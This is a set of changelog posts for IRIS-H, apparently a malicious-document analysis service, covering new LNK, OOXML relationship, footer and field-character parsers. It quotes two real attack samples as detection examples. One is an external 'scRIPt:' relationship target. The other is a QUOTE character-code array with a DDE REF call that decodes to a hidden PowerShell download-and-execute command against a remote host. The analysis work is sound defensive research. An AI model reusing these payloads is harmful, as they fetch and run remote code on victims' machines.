IRIS-H (alpha): Updated LNK file parser / Command line arguments deobfuscation added

Quick Summary

Build Version: 0.0.1(alpha)
Change Type: feature update
Affected Components: API & UI (clear browser cache for 'iris-h.service' to see the changes)
Short Description: Parser for LNK files has been updated. Command line arguments string deobfuscation and URL extraction code have been added. UI Report page has been updated to display the new data.
Outstanding Tasks: None

Detailed Summary

IRIS-H Shell Link (.LNK) file parser has been updated and now attempts to deobfuscate the command line arguments string. When the command line arguments string is present, the service will attempt the following:

• detect environment variables assignments with 'set' command
• detect environment variables usage with ' ! ' and ' % ' special characters
• replace referenced environment variables with their corresponding values
• remove escaping characters ' ^ ' and ' ` '
• detect and extract URL strings
• detect string concatenation operations and perform them

Below is a report example showing the new feature in action.

LNK file analysis results showing deobfuscated command line arguments string and extracted URL

Corresponding report - https://iris-h.services/report/7278cb3c9a5b14dcc54de59e21ec8c6c

More examples can be found here:

https://iris-h.services/report/166127261e36b959e48eece2c1b26185

https://iris-h.services/report/2de846108b26101e3554f5964c1a3576

NOTE
IRIS-H UI changes might require your Internet browser cache clean up for iris-h.services website to take effect.

IRIS-H (alpha): Updated OOXML 'document' file parser

Quick Summary

Build Version: 0.0.1(alpha)
Change Type: feature update
Affected Components: API
Short Description: OOXML 'document' file parser has been updated to detect and extract "Drawing Object Non-Visual Properties".
Example: https://iris-h.malwageddon.com/report/380710e90e15242de982aede9a62c66e
Outstanding Tasks: None

Detailed Summary

"Drawing Object Non-Visual Properties(docPr) element specifies non-visual object properties for the parent DrawingML object. These properties are specified as child elements of 'docPr' element." - ECMA-376 Part 1 (section 20.4.2.5)

OOXML 'document' file parser has been updated to extract non-visual object properties associated with inline drawing objects(pictures). The extracted data will be displayed in the corresponding 'document' panel under 'Individual Components' section on the report page. The following properties will be considered:

• descr - Specifies alternative text for the current DrawingML object, for use by assistive technologies or applications which do not display the current object.
• hidden - Specifies whether this DrawingML object is displayed. When a DrawingML object is displayed within a document, that object can be hidden (i.e., present, but not visible).
• name - Specifies the name of the object. Typically, this is used to store the original file name of a picture object.
• title - Specifies the title (caption) of the current DrawingML object.

Some of the above properties might be omitted from the property set. IRIS-H will only extract and display properties present in the set. See below for an example:

'document' panel showing non-visual object properties extracted from inline drawing object

As seen in the screenshot above, these properties might contain digital artifacts that can be helpful in a digital forensics investigation.

Full report for the example above can be found here - https://iris-h.malwageddon.com/report/380710e90e15242de982aede9a62c66e

IRIS-H (alpha): Added OOXML 'Footer Part' parser

Quick Summary

Build Version: 0.0.1(alpha)
Change Type: new feature
Affected Components: API
Short Description: Parser for OOXML "Footer Part" has been added. The parser detects and extracts text content including special field characters.
Example: https://iris-h.malwageddon.com/report/380710e90e15242de982aede9a62c66e
Outstanding Tasks: None

Detailed Summary

"Footer Part contains the information about a footer displayed for one or more sections. Each Footer part is the target of an explicit relationship in the part-relationship item for the Main Document. Each footer has a corresponding 'ftr' element in a Footer part, which contains the text of the footer." - ECMA-376 Part 1 (section 11.3.6)

A new parser for OOXML 'Footer Part' has been added to IRIS-H. The parser will detect and extract text content including special field characters. The extracted content can be found in a new panel under 'Individual Components' section on the report page. See an example below:

Example of a Footer Part panel showing extracted text content.

If the extracted content includes special field characters, they will be analysed for presence of blacklisted field character command and if any detected, the findings will be populated in 'Malicious Findings' panel on the report page. Below is the corresponding findings panel:

Corresponding findings panel showing detected field character type

Full report for the example above can be found here - https://iris-h.malwageddon.com/report/380710e90e15242de982aede9a62c66e

IRIS-H (alpha): Added OOXML Relationships file parser

Quick Summary

Build Version: 0.0.1(alpha)
Change Type: new feature
Affected Components: API & UI (clear browser cache to see the changes)
Short Description: Parser for OOXML "Relationships" file has been added. The parser detects and extracts hyperlinks to external sources.
Outstanding Tasks: None

Detailed Summary

"Relationships are represented in XML in a Relationships part. Each part in the package that is the source of one or more relationships can have an associated Relationships part. This part holds the list of relationships for the source part." - ECMA-376 Part 2 (section 9.3.3)

Relationships file example

A new parser for OOXML Relationships file has been added to IRIS-H. The parser is configured to read every Relationship in the Relationships file and extract hyperlinks pointed at external sources. See below for an example of a Relationship that will be detected:

<Relationship Id="_id_1633" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" TargetMode="External" Target="scRIPt:https://filetea.me/n3wBS7q8XNvRjiEwg8ZL2bXhw/dl" />

The extracted hyperlinks will be displayed under "Suspicious Finding" panel. See below for an example:

"Suspicious Findings" example showing detected hyperlinks

Full report for the example above can be found here - https://iris-h.malwageddon.com/report/7b133ac4016aab06fff2c24e5d9e9e97

NOTE
IRIS-H UI changes might require your Internet browser cache clean up for iris-h.malwageddon.com website to take effect.

IRIS-H (alpha): Updated Field Characters Parser

Quick Summary

Build Version: 0.0.1(alpha)
Change Type: feature improvement
Affected Components: API
Short Description: Parser for Field Characters used in OLE and OOXML documents has been updated to improve detection. QUOTE, SET, REF field characters have been added to the reporting.
Outstanding Tasks: None

Detailed Summary

Field Character extraction and parsing code has been improved to allow for decoding QUOTE command arguments. The change was motivated by McAfee's blog post today referencing OOXML document used in an APT type of attack. Document's XML code snippet below show an example of what field characters are used and how they are present in the code.

QUOTE field character usage example

DDE field character and the way its arguments are assembled

Unlike previous instances of DDE and DDEAUTO field character usage in malicious documents, this document doesn't expose the command arguments that normally contain indicators of compromise. Instead, a combination of other field characters is used to store and assemble the command arguments.

SET command is used to store the value produced by QUOTE command and later passed to DDE command through REF field character. Below is an example of that:

SET c QUOTE 67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35

 'c' variable now holds the output (character string built from the array of character codes) from QUOTE command. Later 'c' is referenced in DDE command call as one of the arguments.

DDE REF c

When DDE command is called, the value of 'c' variable will be used  as its argument.

IRIS-H field character handlers have been updated to be able to extract the character codes array associated with QUOTE command and decode it. If extraction and decoding is successful the report page will contain the output similar to the one below.

Example of QUOTE command evaluation

This method of using field characters presents new challenges, especially around reconstructing the original text in the same sequence as it appears in the document when it's opened with its corresponding host application. IRIS-H will still attempt to extract all the text fields, but the original text appearance sequence cannot be guarantied.

Full report can be found here - https://iris-h.malwageddon.com/report/e0b8c953e3e6c3f133d1d9301e8eb15a

IRIS-H (alpha): Added support for Shell Link (.LNK) files

Quick Summary

Build Version: 0.0.1(alpha)
Change Type: new feature
Affected Components: API & UI
Short Description: Shell Link (.LNK) file format parser has been added to API component. Cosmetic changes to UI to align new data view with the existing format.
Outstanding Tasks: Implement support for missing Extra Data Blocks

Detailed Summary

New binary data parser has been added to IRIS-H service. It can handle processing and extracting digital artifacts from Shell Link (.LNK) files. The service now accepts LNK files through Submission page and can also automatically detect them embedded into submitted documents. In either case, the report page will display extracted binary data enriched with human readable description. The enrichment process references the official Microsoft specification for [MS-SHLLINK] Binary File Format.

The parser fully supports the following LNK file structures:

• ShellLinkHeader
• LinkTargetIDList
• LinkInfo
• StringData

ExtraData structure is partially supported at this time. Only the following Data Blocks will be processed:

• EnvironmentVariableDataBlock
• KnownFolderDataBlock
• SpecialFolderDataBlock
• TrackerDataBlock
• PropertyStoreDataBlock

Once all binary data is extracted, it'll be subject to a rule-based evaluation. The conclusion will be drawn if the submitted or embedded LNK file can be harmful. IRIS-H will attempt to reconstruct the command line including arguments if any. Below is an example of rule-based evaluation results.

LNK file rule-based evaluation results

A few new sections have been added to "Informational Findings" panel. The sections display information relevant to the LNK file target; file path, working directory, relevant path, command-line arguments, etc. One particular section - "Link Target Tracking" will contain the evaluation results of the data stored in the following Data Blocks:

• Droid Volume Identifier
• Droid File Identifier
• Birth Droid Volume Identifier
• Birth Droid File Identifier

Based on this data, IRIS-H will try to identify if the link target file was moved between the volumes on the original computer or if it was moved to another machine. For more information see page 10 of this PDF. Below is an example of "Informational Findings" view.

LNK file Informational Findings example

"Detailed Components Breakdown" section of the report contains all the data IRIS-H could extract from an LNK file. I was personally surprised to find out how much those little files actually contain. For example, TrackerDataBlock holds the Link Target originator machine's NetBIOS name and MAC address. See below for an example.

Data derived from TrackerDataBlock

ShellLinkHeader section contains time stamps associated with Link Target, as well as, its file attributes, the type of the media it resides on(hard disk, USB, network, etc), media serial number and even command line window state. See below for an example.

Data derived from ShellLinkHeader

In addition, IRIS-H will attempt to resolve "Known Folder" GUID and "Special Folder" ID and display their corresponding descriptions. See an example below.

Enriched data derived from KnownFolderDataBlock and SpecialFolderDataBlock

Examples of full reports can be found on the links below:

https://iris-h.malwageddon.com/report/50146115513f71531ea334071c69a771 - submitted LNK file.

https://iris-h.malwageddon.com/report/738e74f744e554d6ac89899357eca506 - embedded LNK file found in a Microsoft Office document.